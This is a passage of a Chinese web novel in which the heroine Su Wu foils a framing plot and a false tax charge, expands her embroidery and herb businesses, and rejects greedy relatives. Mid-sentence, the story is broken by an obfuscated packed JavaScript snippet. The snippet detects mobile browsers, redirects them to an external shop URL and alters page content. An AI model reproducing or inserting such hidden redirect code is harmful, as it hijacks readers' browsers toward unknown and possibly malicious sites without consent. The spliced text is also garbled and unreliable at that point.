绣坊的纹，能惊宫廷；民间的力，能撼朝堂。苏芜的锦绣人生，才真正拉开了序幕，而这尘世间的风雨，也会因她，变得愈发汹涌，却也会因她，迎来一缕清明的微光。 6. 智斗奸佞·商势初成 初夏的京城，槐花开得满城芬芳，细碎的花瓣落在青石板路上，被往来的车马碾成淡香的泥尘。温府的书房里，却无半分赏景的闲适，书卷翻卷的轻响混着珠算的噼啪声，在窗明几净的房间里绕了三匝，阳光透过雕花木窗，落在摊开的《战国策》上，也落在苏芜微垂的眉眼间。 自拜温庭远为师，已过两月。这两月，苏芜活成了旋转的陀螺，白日里，她是锦绣阁执掌一切的苏姑娘，打理账目、设计纹样、督导绣坊活计，还要兼顾宫廷尚衣局的定制需求，忙得脚不沾地；入夜后，她便换上素色布裙，踏入温府的书房，成了温庭远座下唯一的女弟子，听他讲经史子集、谈朝堂谋略、析人心诡谲，从《贞观政要》到《孙子兵法》，从朝堂派系的盘根错节到民间民生的疾苦冷暖，温庭远倾囊相授，苏芜则如饥似渴地学，过目不忘的天赋让她能将师父的话字字记在心底，通透的心思又让她能触类旁通，一点即透。 温庭远坐在楠木椅上，手中握着一卷泛黄的古籍，目光落在苏芜面前的策论上，那是她应师父要求写的《论商税与民生》，字迹虽仍带着几分乡野的拙朴，却笔笔坚定，观点更是切中要害——她提出商税宜“轻征薄敛、明账定规”，反对世家权贵利用特权偷税漏税，主张扶持寒门小商，让民间商业活起来，字字句句，皆从底层民生出发，又兼顾朝堂财政，全然不似一个初涉世事的绣坊女子，倒像个浸淫朝堂多年的老臣。 “不错。”温庭远放下古籍，指尖轻点策论上的字句，声音苍老却有力，“你能从锦绣阁的账目，看到天下商税的症结，这便是眼界。魏忠贤把持朝政，纵容党羽巧立名目征收商税，世家大族则勾结官吏，将税赋转嫁给寒门小商和百姓，长此以往，民不聊生，朝堂根基必摇。你这策论，若是呈给陛下，定能让他警醒，只是如今魏党势大，这策论，还不是呈上去的时候。” 苏芜垂首而立，指尖轻轻摩挲着袖角，她今日特意穿了最素净的青布裙，未施粉黛，唯有鬓边别着一支青竹簪，那是青禾用绣坊的竹料亲手刻的，简单却雅致。她听得师父的话，眼底闪过一丝清明：“弟子明白，势不如人时，藏锋守拙方为上策。如今魏党把持六部，柳太傅之流趋炎附势，陛下虽有心整顿，却无可用之人，此时递上策论，非但无益，反倒会引火烧身，让锦绣阁成为魏党的眼中钉。” “你能想通这一点，便是长进。”温庭远眼中闪过一丝欣慰，他当初看中苏芜，不仅是因为她的才华与韧性，更因为她的通透——不贪功、不冒进，知进退、明得失，这在年轻一辈中，实属难得，“魏忠贤近日已注意到你，前日他派心腹太监送了百两黄金、一对玉如意到锦绣阁，想拉拢你，你假意周旋，却未收礼，做得很好。” 苏芜抬眼，眼底闪过一丝冷意：“魏忠贤并非真的想拉拢我，不过是见锦绣阁是宫廷专供，又知我是师父的弟子，想探探虚实罢了。他若真有诚意，便不会让柳清柔依旧在暗中找锦绣阁的麻烦。弟子不收他的礼，既不得罪他太深，又表明了不与他同流合污的态度，只是这缓兵之计，怕是撑不了太久。” 她的话一语中的。魏忠贤自贵妃得宠后，便权倾朝野，党羽遍布朝堂，他早已听闻温庭远在暗中联络忠良之士，只是抓不到把柄，如今苏芜作为温庭远的弟子，执掌着连接宫廷与民间的锦绣阁，自然成了他的眼中刺、肉中钉。送厚礼拉拢，不过是第一步，若是苏芜不从，接下来，便是雷霆万钧的打压。 而柳清柔，作为柳太傅的庶女，仗着父亲是魏忠贤的铁杆党羽，更是将苏芜视为眼中钉。自上次宫中刁难失败后，她便一直怀恨在心，暗中多次找锦绣阁的麻烦，要么是买通街边的地痞，骚扰锦绣阁的客人，要么是派人在坊间散布谣言，说锦绣阁的绣品用的是残次布料，欺瞒宫廷，只是这些小伎俩，都被苏芜轻易化解——地痞被王大带着绣坊的杂役打跑，谣言则被苏芜用实打实的绣品质量和宫廷的夸赞彻底粉碎。 温庭远点点头，拿起桌上的一枚玉佩，递给苏芜，那玉佩是墨玉所制，上面刻着一只低调的玄鸟，触手生温：“这是我温家的信物，持此玉佩，可入京城九门的忠良之士府邸，若遇危难，见玉佩如见我，他们会出手相助。魏忠贤很快便会对你动手，你需早做准备。” 苏芜双手接过玉佩，掌心感受到墨玉的温度，也感受到师父沉甸甸的托付，她躬身行礼，声音坚定：“弟子谢师父厚爱，定当妥善保管，步步为营，不辜负师父期望。” 从温府出来时，暮色已染遍京城的天空，槐花香被晚风卷着，扑了满怀。苏芜坐上锦绣阁的马车，青禾早已在车里备好了温热的莲子羹，见她回来，连忙递上：“苏芜姐姐，你可算回来了，今日绣坊里来了个草药商贩，说是被地痞欺负了，药材被抢了大半，跪在绣坊门口求你帮忙，赵老说那人是个实诚人，让我留着他等你回来。” 苏芜接过莲子羹，喝了一口，清甜的暖意顺着喉咙滑入心底，她挑眉：“赵老？他倒是热心。” 赵老是苏芜半月前结识的老人，年逾花甲，在京城南城的街头摆草药摊，一手草药辨识的本事出神入化。苏芜因懂草药，闲暇时便会去南城的草药街逛逛，那日恰逢赵老被几个地痞欺负，地痞不仅抢了他的药材，还打断了他的腿，苏芜见他可怜，又惜他的本事，便让王大送他去医馆治伤，还替他付了医药费，又派人教训了那几个地痞，把抢来的药材尽数追回。赵老感念苏芜的恩情，便执意要报答，苏芜见他识草药、懂行情，便在锦绣阁旁开了一间小小的草药铺，让赵老打理，主营跌打损伤、风寒感冒的寻常草药，也兼收乡野百姓送来的草药，一来二去，赵老成了苏芜的得力助手，不仅把草药铺打理得井井有条，还帮她打听南城的坊间消息，成了她的“耳目”。 马车行至锦绣阁，苏芜刚下车，便看到一个衣衫褴褛、腿上还缠着绷带的老者，跪在绣坊的朱红大门前，见她走来，连忙磕头：“苏姑娘，求您救救我，那些地痞是柳家的人，他们说我不该跟着您做事，还要砸了我的草药铺，求您发发善心，救救我……” 苏芜扶起老者，见他正是赵老说的那个草药商贩，姓周，人称周老丈，是江南来的草药商，专门收罗江南的名贵草药，此次来京城，本想与赵老合作，却不料刚到南城，就被柳家的人盯上了。苏芜眼底闪过一丝冷意，柳清柔还真是阴魂不散，明的不行，就来暗的，欺负一个手无寸铁的草药商贩，不过是想杀鸡儆猴，警告她罢了。 “周老丈，你起来吧。”苏芜的声音平静，却带着一股安定人心的力量，“既然你想与赵老合作，便留在我的草药铺吧，有我在，柳家的人，不敢动你。” 她说着，对王大使了个眼色，王大立刻会意，对着身后的几个杂役道：“把周老丈扶到草药铺，再派两个人守在草药铺门口，日夜轮值，若是有柳家的人来闹事，直接打出去，出了事，我担着！” 周老丈千恩万谢，被杂役扶着去了草药铺。苏芜站在锦绣阁的门口，看着南城的方向，眼底的冷意越来越浓。柳清柔，柳太傅，魏忠贤，这些人，一个个都想把她踩在脚下，可她苏芜，从来都不是任人揉捏的软柿子。你若来犯，我必反击，这一次，她不会再只做防守，她要主动出击，让柳家，让魏党，尝尝惹到她的滋味。 接下来的几日，苏芜表面上依旧风平浪静地打理锦绣阁的事务，设计新的宫廷纹样，督导绣坊赶工，暗地里，却让赵老和王大分头行动——赵老负责打听柳家的产业底细，尤其是柳家的布庄和药铺，王大则负责联络京城的寒门商贩，尤其是那些被柳家和魏党欺压过的小商，收集他们被欺压的证据。苏芜知道，柳太傅作为魏忠贤的党羽，借着权势敛财，他的产业里，定然藏着不少猫腻，而那些被欺压的寒门商贩，便是她手中最锋利的剑。 而魏忠贤那边，见苏芜软硬不吃，果然按捺不住，开始动手了。他与柳太傅密谋，定下了两条毒计，一条针对宫廷，一条针对朝堂，想让苏芜身败名裂，万劫不复。 第一日清晨，尚衣局的掌事姑姑便带着十几个宫人，怒气冲冲地来到锦绣阁，手中拿着一匹绣好的宫装锦缎，摔在苏芜面前：“苏姑娘，你好大的胆子！竟敢用残次的云锦绣制宫装，欺瞒贵妃娘娘，欺瞒陛下，你可知罪？” 苏芜低头看去，那匹锦缎是贵妃娘娘定制的常服，绣着她设计的荷莲纹样，只是锦缎的边角，有一处明显的织疵，而且绣线的色泽也比正品暗淡了几分，确实是残次的绣品。可这匹绣品，并非锦绣阁的绣娘们所绣——她设计的纹样，每一处都有独特的标记，荷莲的花蕊处，会用三缕金线绣出一个小小的“芜”字，而这匹残次绣品的花蕊处，空空如也，毫无标记。 周围的绣娘们都慌了，温氏也匆匆赶来，脸色发白：“掌事姑姑，这定然是误会，我们锦绣阁的绣品，从来都是精挑细选，绝不敢用残次布料欺瞒宫廷！” “误会？”掌事姑姑冷笑一声，“这绣品是从锦绣阁送进宫的，上面还有锦绣阁的印记，如今出了残次，你却说这是误会？贵妃娘娘见了这绣品，龙颜大怒，命我来查，若是查不出个所以然，不仅锦绣阁的宫廷专供之位会被撤销，你们所有人，都要被治罪！” 就在这时，柳清柔穿着一身华丽的粉裙，摇着团扇，慢悠悠地走了进来，脸上带着幸灾乐祸的笑：“苏姑娘，你也有今天？竟敢用残次布料绣制宫装，这可是欺君之罪，轻则抄家，重则砍头，你这乡下来的丫头，怕是不知道欺君之罪的下场吧？” 她说着，对着身后的侍女使了个眼色，侍女立刻拿出一个绣绷，上面是半幅绣品，与那匹残次宫装的纹样一模一样，只是绣工更粗糙：“掌事姑姑，您看，这是我从锦绣阁的浆洗房找到的，定是苏姑娘让绣娘们偷工减料，用残次布料绣制宫装，想蒙混过关！” 绣娘们都义愤填膺，纷纷道：“这不是我们绣的！我们绣的宫装，都有苏姑娘的标记！” “这绣绷根本不是我们绣坊的！我们的绣绷都是刻着锦绣阁的字的！” 苏芜抬手，示意众人安静，她走到那匹残次宫装前，指尖轻轻拂过锦缎的织疵，又拿起那绣绷，看了看绣线的质地，眼底闪过一丝了然，随即抬眼看向掌事姑姑，声音清亮，不卑不亢：“掌事姑姑，这匹绣品，并非锦绣阁所绣，而是有人故意伪造，栽赃陷害我锦绣阁。” “你胡说！”柳清柔厉声呵斥，“这绣品明明是从锦绣阁送进宫的，还有锦绣阁的印记，你竟敢抵赖！” “柳姑娘稍安勿躁。”苏芜淡淡瞥了她一眼，目光落在那匹宫装的印记上，“锦绣阁的印记，是用朱砂混合金粉盖的，色泽暗红，历久不褪，而这匹绣品上的印记，色泽鲜红，一擦便掉，明显是有人仿造的。再者，我设计的荷莲纹样，花蕊处有三缕金线绣的‘芜’字，这是我独有的标记，宫廷的绣品，每一件都有，掌事姑姑可以去尚衣局查验，看看我锦绣阁送进宫的其他绣品，是否都有此标记。” 掌事姑姑闻言，立刻让人取来锦绣阁之前送进宫的绣品，果然，每一件的荷莲花蕊处，都有一个小小的“芜”字，金线绣制，精致却不张扬，而那匹残次绣品，却没有丝毫痕迹。掌事姑姑的脸色沉了下来，她看向柳清柔，眼底闪过一丝怀疑：“柳姑娘，这是怎么回事？” 柳清柔的脸色一阵红一阵白，强装镇定道：“这……这定是苏芜故意狡辩，她定是怕被治罪，才故意说有什么标记！” “我是否狡辩，一查便知。”苏芜的目光落在绣坊的一个小绣娘身上，那小绣娘低着头，眼神躲闪，双手紧紧攥着衣角，正是之前被苏芜赶走的春桃——张嬷嬷的远房侄女，被柳清柔买通，偷偷混进锦绣阁，伪造了这匹残次绣品，还仿造了锦绣阁的印记，想栽赃陷害。 苏芜走到春桃面前，声音平静却带着一股威压：“春桃，是谁让你伪造宫装，栽赃陷害锦绣阁的？是柳清柔，还是柳太傅？” 春桃被苏芜的目光看得浑身发抖，双腿一软，瘫坐在地上，哭着道：“是柳姑娘，是柳姑娘让我做的！她给了我五十两银子，让我混进锦绣阁，用残次布料伪造宫装，仿造锦绣阁的印记，送进宫里，栽赃苏姑娘……我一时糊涂，才做了错事，求苏姑娘饶了我，求掌事姑姑饶了我……” 真相大白，柳清柔的脸色惨白如纸，踉跄着后退了几步，指着春桃：“你胡说！你血口喷人！我根本不认识你！” “柳姑娘，事到如今，你还想抵赖？”苏芜拿出一封书信，那是赵老从春桃的住处搜出来的，是柳清柔写给春桃的亲笔信，上面写着让她伪造宫装的吩咐，还有柳清柔的亲笔签名，“这是你的亲笔信，铁证如山，你还有什么话可说？” 掌事姑姑看着那封书信，脸色彻底沉了下来，她对着柳清柔冷冷道：“柳姑娘，你竟敢伪造宫廷绣品，栽赃陷害锦绣阁，欺瞒贵妃娘娘，我这就进宫回禀贵妃娘娘，让陛下定你的罪！” 柳清柔吓得魂飞魄散，转身想跑，却被王大带着杂役拦住了去路，插翅难飞。 这是魏忠贤和柳太傅的第一条毒计，栽赃苏芜欺君，本想让她万劫不复，却不料被苏芜凭借着独特的纹样标记和铁证，轻松化解，还反将柳清柔一军。 可苏芜知道，这只是开始，魏忠贤的第二条毒计，很快便会到来。 果然，当日午后，京城的税官便带着十几个衙役，来到锦绣阁，说是有人诬告锦绣阁偷税漏税，数额巨大，奉命查抄锦绣阁的账目，封停锦绣阁的生意。 来的税官姓林，是魏忠贤的党羽，柳太傅的门生，他一进门，便摆着一副趾高气扬的模样，对着苏芜道：“苏姑娘，有人告你锦绣阁自开业以来，偷税漏税数万两白银，今日我奉府尹大人之命，查抄账目，封停店铺，你若敢阻拦，便是抗旨！” 温氏吓得脸色发白，拉着苏芜的手道：“苏芜，这可怎么办？我们的账目一直都清清楚楚，怎么会有人诬告我们偷税漏税？” 苏芜拍了拍温氏的手，示意她放心，她看向林税官，淡淡道：“林大人，锦绣阁的账目，向来明明白白，按时缴税，从未有过偷税漏税之事，不知是谁诬告我锦绣阁？可有证据？” “有没有证据，查了账目便知！”林税官冷哼一声，对着衙役道，“来人，把锦绣阁的账目都搜出来，仔细查！若是查出问题，立刻封店，把苏芜拿下！” 衙役们一拥而上，就要去搜账房，苏芜抬手拦住他们，声音冷冽：“慢着！锦绣阁是宫廷专供绣坊，奉旨经营，未经陛下和贵妃娘娘的旨意，谁敢擅自查抄？林大人，你身为税官，应知朝廷律法，宫廷专供的商户，非奉旨不得查抄，你今日这般行事，是想抗旨吗？” 林税官的脚步一顿，脸色微变，他倒是忘了锦绣阁是宫廷专供，有御赐的牌匾，未经旨意，确实不能擅自查抄。可他收了柳太傅的好处，又受魏忠贤的吩咐，今日必须封了锦绣阁，他硬着头皮道：“苏姑娘，你别拿宫廷专供压我！偷税漏税，罪证确凿，便是宫廷专供，也难逃律法制裁！今日我必须查账！” “林大人执意要查，也可以。”苏芜冷笑一声，“只是今日你若查不出问题，便是诬告宫廷专供商户，按律当斩，林大人，你担得起这个罪名吗？” 她的话字字铿锵，带着一股不容置疑的威严，林税官被她看得心里发慌，却依旧嘴硬：“我奉府尹大人之命查账，便是查不出问题，也与我无关！” “好，那便查。”苏芜侧身，让开道路，“账房在那边，林大人请便，只是我锦绣阁的账目，一日一结，一月一查，每一笔收支，每一次缴税，都有详细记录，还有税局的缴税凭证，林大人可仔细查，若是有半分差错，我苏芜甘愿领罪，若是没有，林大人，你便等着陛下降罪吧。” 林税官带着衙役冲进账房，翻箱倒柜地查账，锦绣阁的账房先生站在一旁，淡定地看着他们，手中拿着厚厚的缴税凭证：“林大人，这是锦绣阁自开业以来的所有缴税凭证，每一张都有税局的印章，你可以仔细核对。” 账房里的算盘声噼啪作响，衙役们查了一遍又一遍，从清晨查到日暮，把锦绣阁的账目翻了个底朝天，却发现账目清清楚楚，每一笔收支都记得明明白白，每一次缴税都按时足额，甚至比律法规定的还要早，别说偷税漏税数万两，就连一两银子的差错，都找不出来。 林税官的脸色越来越白，额头上冒出了细密的汗珠，他知道，自己今日栽了，不仅没查到锦绣阁的问题，还落了个诬告的把柄。 苏芜站在账房门口，看着狼狈的林税官，淡淡道：“林大人，查得如何？我锦绣阁可有偷税漏税？” 林税官支支吾吾，说不出话来：“这……这……” “林大人查不出问题，便是诬告。”苏芜的目光冷冽，“今日之事，我会进宫回禀贵妃娘娘，上奏陛下，让陛下定夺，林大人，你就等着陛下降罪吧。” 林税官吓得魂飞魄散，噗通一声跪在地上，对着苏芜磕头：“苏姑娘，求您饶了我，我是一时糊涂，被柳太傅蛊惑了，求您大人有大量，饶了我这一次……” 就在这时，苏芜让人请来的京兆尹大人也到了，京兆尹姓顾，是温庭远的门生，忠良之士，他看着跪在地上的林税官，又看了看锦绣阁的账目，脸色沉了下来：“林大人，你身为税官，竟敢诬告宫廷专供商户，滥用职权，来人，把林税官拿下，打入大牢，听候陛下降罪！” 衙役们上前，将林税官拖了下去，林税官的哭喊声在锦绣阁里回荡，却无人同情。 魏忠贤和柳太傅的第二条毒计，诬告锦绣阁偷税漏税，也被苏芜凭借着清晰的账目和朝廷律法，轻松化解，还拿下了魏忠贤的党羽林税官。 一日之内，化解两大危机，反将柳家和魏党一军，锦绣阁的名声，不仅没有受损，反而更加响亮，京城的百姓都称赞苏芜聪慧果敢，不畏权贵，锦绣阁的生意，也比往日更加兴隆，不少寒门商贩都慕名而来，想与锦绣阁合作。 而宫里的贵妃娘娘，得知柳清柔伪造宫装、栽赃陷害锦绣阁后，龙颜大怒，下旨将柳清柔禁足于柳府，永世不得出宫，柳太傅也因教女无方、纵容女儿作恶，被陛下训斥，罚俸一年，连带着魏忠贤，也因举荐失当，被陛下敲打了一番，魏党一时之间，竟不敢再轻易对苏芜动手。 经此一事，苏芜在京城的声望，愈发高涨，而她的力量，也在悄然壮大。 借着这次的机会，苏芜将收集到的柳家偷税漏税、欺压寒门商贩的证据，连同林税官的供词，一并呈给了陛下。陛下本就对魏党和柳太傅的所作所为不满，见了证据，龙颜大怒，下旨彻查柳家的产业，查出柳家偷税漏税数万两白银，还强占寒门商贩的店铺，欺压百姓，陛下当即下旨，抄没柳家的部分产业，罚银十万两，柳太傅被降职三级，调离京城，前往偏远之地任职，柳家一夜之间，从云端跌入泥潭，彻底失势。 而苏芜呈给陛下的《论商税与民生》，也在此时被温庭远暗中递到了陛下的手中，陛下看后，深以为然，对苏芜的才华更加赏识，下旨采纳苏芜的建议，整顿商税，轻征薄敛，明账定规，还任命顾京兆尹为商税司主事，负责整顿全国的商税，打压世家权贵的偷税漏税行为，扶持寒门小商。 苏芜的第一步，走得稳准狠，不仅扳倒了柳家，还推动了商税的整顿，为寒门商贩谋了福利，也为自己积累了民心。 而锦绣阁这边，苏芜借着柳家失势的机会，收购了柳家的几间布庄和绣坊，将锦绣阁的规模扩大了数倍，还在京城的东西南北四城，各开了一家锦绣阁分号，不仅经营绣品，还兼营布匹、丝绸，生意做得风生水起。 她的草药铺，也在赵老和周老丈的打理下，越做越大，从最初的小小药铺，变成了京城南城最大的草药行，不仅收罗京城的草药，还与江南、巴蜀的草药商建立了联系，药材遍布全国，成了苏芜的另一大产业。 苏芜并没有满足于此，她知道，商业是她的根基，只有商业壮大，她才有足够的财力和人脉，支撑着她与魏党抗衡，支撑着她保护想保护的人。她利用锦绣阁和草药行的商业网络，与京城的寒门商贩建立了联盟，成立了“惠民商社”，由赵老担任社长，整合寒门商贩的资源，互帮互助，对抗世家权贵的欺压，还为寒门商贩提供资金和货源，让他们能安稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239933|197681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做生意。 “惠民商社”的成立，让苏芜在京城的寒门商贩中，威望大增，越来越多的寒门商贩加入商社，苏芜的商业版图，也越来越大，从绣品、布匹、草药，逐渐拓展到粮食、茶叶、瓷器，成了京城乃至全国最大的寒门商人，手中的财力，也越来越雄厚。 而苏芜心中一直想做的事，也终于提上了日程——收养孤女，传授她们技艺，让那些和她一样无依无靠的女子，能有活下去的底气。 她在锦绣阁的后院，开辟了一间大大的绣坊，取名“惜春坊”，专门收养街头的孤女，还有那些被世家权贵欺压的女子，教她们刺绣、织布、辨识草药，若是她们愿意，便留在锦绣阁或草药行做事，若是想离开，便给她们一笔银子，让她们能自立门户。 惜春坊的第一任坊主，是青禾，青禾跟着苏芜许久，刺绣技艺愈发精湛，心思也细腻温柔，将惜春坊打理得井井有条。第一批进入惜春坊的孤女，有十几个，最大的十六岁，最小的只有八岁，她们都是苏芜从街头救回来的，一个个面黄肌瘦，却眼神明亮，对苏芜充满了感激，学习技艺也格外刻苦。 苏芜时常去惜春坊，教她们刺绣纹样，教她们辨识草药，教她们做人的道理，告诉她们：“女子并非只能依附男子生存，我们靠自己的双手，也能活得很好，活得有尊严，活得独美。” 她的话，像一颗种子，在这些孤女的心底生根发芽，她们看着苏芜，看着这个从乡野孤女一步步走到京城商界翘楚的女子，心中充满了希望，也暗暗发誓，要像苏芜一样，靠自己的力量，活下去，活得好。 而温庭远那边，见苏芜的力量越来越壮大，民心越来越高，也开始让她参与更多的忠良之士的密事。苏芜利用自己的商业网络，为忠良之士传递消息、筹措钱财，用绣品的纹样作为暗号，设计了一套全新的暗号系统，将纹样与草药结合，更加隐蔽，更加安全，多次帮助忠良之士化解了魏忠贤的埋伏和追杀。 她还利用自己的财力，暗中资助寒门子弟读书，在京城开设了三间义学，聘请教书先生，免费教寒门子弟读书识字，为朝廷输送人才。这些寒门子弟，大多心怀感恩，对苏芜十分敬重，日后入朝为官，也成了苏芜的一大助力。 日子一天天过去，苏芜的势力，在不知不觉中，已经盘根错节，遍布京城的商界、民间，甚至朝堂的寒门官员中，也有不少人受过她的恩惠，对她心怀感激。她不再是那个无依无靠的乡野孤女，也不再是那个锦绣阁的杂役，她成了京城商界的无冕之王，成了寒门百姓心中的“苏大善人”，成了温庭远手中最锋利的剑，成了魏忠贤眼中最忌惮的对手。 而魏忠贤，经此一事，也收敛了不少，他知道苏芜如今势大，民心所向，又有温庭远和忠良之士的支持，还有贵妃娘娘和陛下的赏识，不可轻易动之，便暂时按捺住了杀心，暗中积蓄力量，等待着反击的机会。 朝堂的暗流，依旧在汹涌，苏芜与魏忠贤的较量，才刚刚开始。 而就在这时，一个苏芜早已遗忘的人，却突然出现在了京城，打破了这份暂时的平静——苏大柱和王桂香，带着苏翠，来到了京城，想攀附苏芜。 这日清晨，锦绣阁的门口，围了一群人，苏大柱穿着一身不合身的粗布新衣，王桂香穿着花里胡哨的布裙，苏翠则穿着一身破旧的绣裙，头发枯黄，面色憔悴，与往日的骄纵判若两人，三人跪在锦绣阁的门口，大声哭喊着：“苏芜，我的好侄女，你快出来见见我们吧！我们是你的亲人啊！” “苏芜，你如今发达了，可不能忘了本啊！我们养了你十几年，对你恩重如山，你快出来认认我们吧！” “姐姐，我知道错了，我以前不该欺负你，求你看在一家人的情分上，救救我们吧，我们在乡下活不下去了……” 三人的哭喊，引来了不少百姓围观，指指点点，议论纷纷。 王大匆匆跑进绣坊，告诉苏芜：“苏姑娘，苏家村的苏大柱和王桂香，还有苏翠，跪在门口哭喊，说要见你，还说你忘恩负义，不认亲人。” 苏芜正在惜春坊教孤女们刺绣，听到这个消息，手中的绣针顿了顿，眼底闪过一丝漠然，没有半分波澜。苏大柱，王桂香，苏翠，这些名字，早已成了她生命中的过客，那些过往的苦难，早已成了她成长的勋章，她从未想过报复，也从未想过原谅，只是将他们彻底遗忘，如今他们找上门来，不过是想攀附她的权势，贪图她的钱财罢了。 青禾看着苏芜的模样，轻声道：“苏芜姐姐，要不要我让王大把他们赶走？” 苏芜摇了摇头，放下绣针，淡淡道：“不必，我去见见他们。” 她走到锦绣阁的门口，站在朱红大门前，看着跪在地上的三人，眼神平静，没有丝毫的情绪，既没有恨，也没有怜，仿佛看着三个陌生人。 苏大柱见苏芜出来，立刻磕头：“苏芜，我的好侄女，你可算出来了，你看看我们，我们在乡下活不下去了，翠儿的婚事也黄了，张公子知道我们家出了事情，就退婚了，我们走投无路，只能来京城找你，你如今发达了，一定要救救我们啊！” 王桂香也跟着磕头，脸上挤出虚伪的笑容：“苏芜，婶子知道以前对你不好，婶子错了，婶子给你赔罪了，求你看在婶子养了你十几年的情分上，给我们一口饭吃，给翠儿找个好人家，婶子下辈子做牛做马，报答你的大恩大德！” 苏翠则哭着道：“姐姐，我知道错了，我以前不该欺负你，不该设计陷害你，求你原谅我吧，求你救救我吧，我不想在乡下受苦，我想在京城过好日子……” 苏芜看着他们丑陋的嘴脸，听着他们虚伪的话语，心底没有丝毫的触动，她淡淡开口，声音平静却带着一股疏离：“我与你们，早已两清。” 一句话，让三人的哭喊戛然而止，愣在原地。 苏芜继续道：“当年，你们收养我，并非出于好心，不过是把我当作免费的劳力，动辄打骂，克扣粮食，最后还想把我卖给山里的李老光棍，换钱给苏翠当嫁妆。我从苏家逃出来，九死一生，走到京城，吃过的苦，受过的罪，都是我自己扛过来的，与你们无关。你们养我十几年，我今日给你们五十两银子，当作报答，从此，我苏芜，与苏家，再无任何关系，你们走，不要再出现在我面前。” 她说着，对王大使了个眼色，王大立刻拿出五十两银子，扔在三人面前。 五十两银子，对苏芜来说，不过是九牛一毛，对苏家村的人来说，却是一笔巨款。可苏大柱和王桂香，却并不满足，他们见苏芜如今发达，锦绣阁生意兴隆，想要的远不止五十两银子，王桂香立刻哭喊道：“苏芜，你怎么能这么狠心？五十两银子就想打发我们？你如今家财万贯，给我们千两万两都是应该的！你要是不答应，我们就跪在这门口，让所有人都知道，你苏芜是个忘恩负义的白眼狼！” 苏翠也跟着哭喊：“就是！姐姐，你不能这么狠心，我们是你的亲人啊！” 周围的百姓，听了苏芜的话，又看了看三人的嘴脸，都明白了过来，纷纷指责：“原来是这样！这家人也太过分了，把人家当牛做马，还想卖了人家，如今人家发达了，又想来攀附，真是厚颜无耻！” “苏姑娘心善，还给他们五十两银子，换做是我，一分钱都不会给！” “赶紧走吧！别在这丢人现眼了！” 苏芜看着他们的嘴脸，眼底闪过一丝冷意：“我给你们五十两银子，已是仁至义尽，若是你们还敢在这门口撒野，扰乱锦绣阁的生意，我便让官差把你们抓起来，按律治罪。王大，把他们赶走。” 王大立刻带着杂役上前，架起三人，就要把他们赶走。苏大柱和王桂香还想挣扎，却被杂役死死按住，苏翠看着苏芜冷漠的眼神，终于害怕了，哭着道：“姐姐，我错了，我们走，我们再也不来了……” 三人被杂役架着，赶出了京城，从此，再也不敢出现在苏芜面前。苏芜看着他们消失的背影，眼底没有丝毫的波澜，转身走进锦绣阁，关上了朱红大门，将那些过往的苦难，彻底关在了门外。 她的人生，早已向前走去，那些曾经伤害过她的人，早已不配出现在她的世界里。 夕阳西下，金色的余晖洒在锦绣阁的牌匾上，熠熠生辉。苏芜站在锦绣阁的二楼，凭栏远眺，看着京城的万家灯火，看着街头往来的百姓，看着惜春坊里认真学习刺绣的孤女，眼底满是平静与坚定。 青禾走到她身边，递上一杯温热的菊花茶：“苏芜姐姐，都处理好了。” 苏芜接过菊花茶，喝了一口，清甜的茶香在嘴里散开，她点了点头，看向远方：“青禾，你看这京城，繁华似锦，却也藏着无数的苦难，我从尘泥里走来，深知底层百姓的不易，深知女子的艰难。我做的这一切，不仅是为了自己，也是为了让那些和我一样的人，能有活下去的希望，能有尊严地活着。” 青禾看着苏芜的侧脸，在夕阳的余晖下，她的眉眼温柔却坚定，像一株迎着阳光生长的翠竹，坚韧不拔，独美于世。青禾点了点头，轻声道：“苏芜姐姐，我会一直陪着你，陪着你做想做的事，陪着你走到最后。” 苏芜笑了笑，抬手揉了揉青禾的头，眼底满是暖意。她的身边，有青禾的陪伴，有赵老、王大的助力，有温庭远的指点，有无数寒门百姓和孤女的支持，她不再是孤身一人。 朝堂的暗流依旧汹涌，魏忠贤的反击随时可能到来，前路依旧布满荆棘，可苏芜早已无所畏惧。她从尘泥里的孤女，一步步走到如今，靠的从来都不是运气，而是自己的韧性、智慧和双手。她不攀附、不妥协、不将就，靠着自己的力量，在这乱世中，走出了一条属于自己的路，活成了自己的光。 她的目光，望向皇宫的方向，眼底闪过一丝冷意。魏忠贤，你想扳倒我，想独霸朝堂，想欺压百姓，我苏芜，定不会让你如愿。这场较量，才刚刚开始，而最后的赢家，一定是心怀天下、坚守本心的人。 夜色渐浓，京城的灯火次第亮起，锦绣阁的灯笼，也高高挂起，照亮了门前的青石板路，也照亮了苏芜前行的路。 7. 魏党反扑·势撼朝野 深秋的京城，褪去了盛夏的燥热，满城的银杏叶被秋风染成金红，簌簌落在青石板路上，被往来的车马碾成碎金，卷着淡淡的桂花香，在街头巷尾弥漫。锦绣阁的朱红大门前，车马络绎不绝，南来北往的商贩、身着华服的世家贵女、宫中派来的内侍，皆往来于此，门楣上的“宫廷专供”御赐牌匾，在秋日的阳光下熠熠生辉，彰显着这份独一份的荣宠。 此时的苏芜，早已不是那个站在浆洗房里搓洗绸缎的杂役，也不是那个仅能执掌锦绣阁一隅的账房助理。她身着一身素色锦裙，外罩一件月白披风，长发仅用一支玉簪束起，眉眼间褪去了初到京城的怯懦，添了几分历经风雨后的沉稳与淡然，唯有那双眸子，依旧清亮坚定，藏着洞察一切的通透。她站在锦绣阁总号的二楼窗前，凭栏远眺，目光掠过京城的繁华街巷，落在南城的方向——那里是惠民商社的总坛，也是她一手建立的寒门商业根基，此刻正人声鼎沸，寒门商贩们往来交易，一派欣欣向荣的景象。 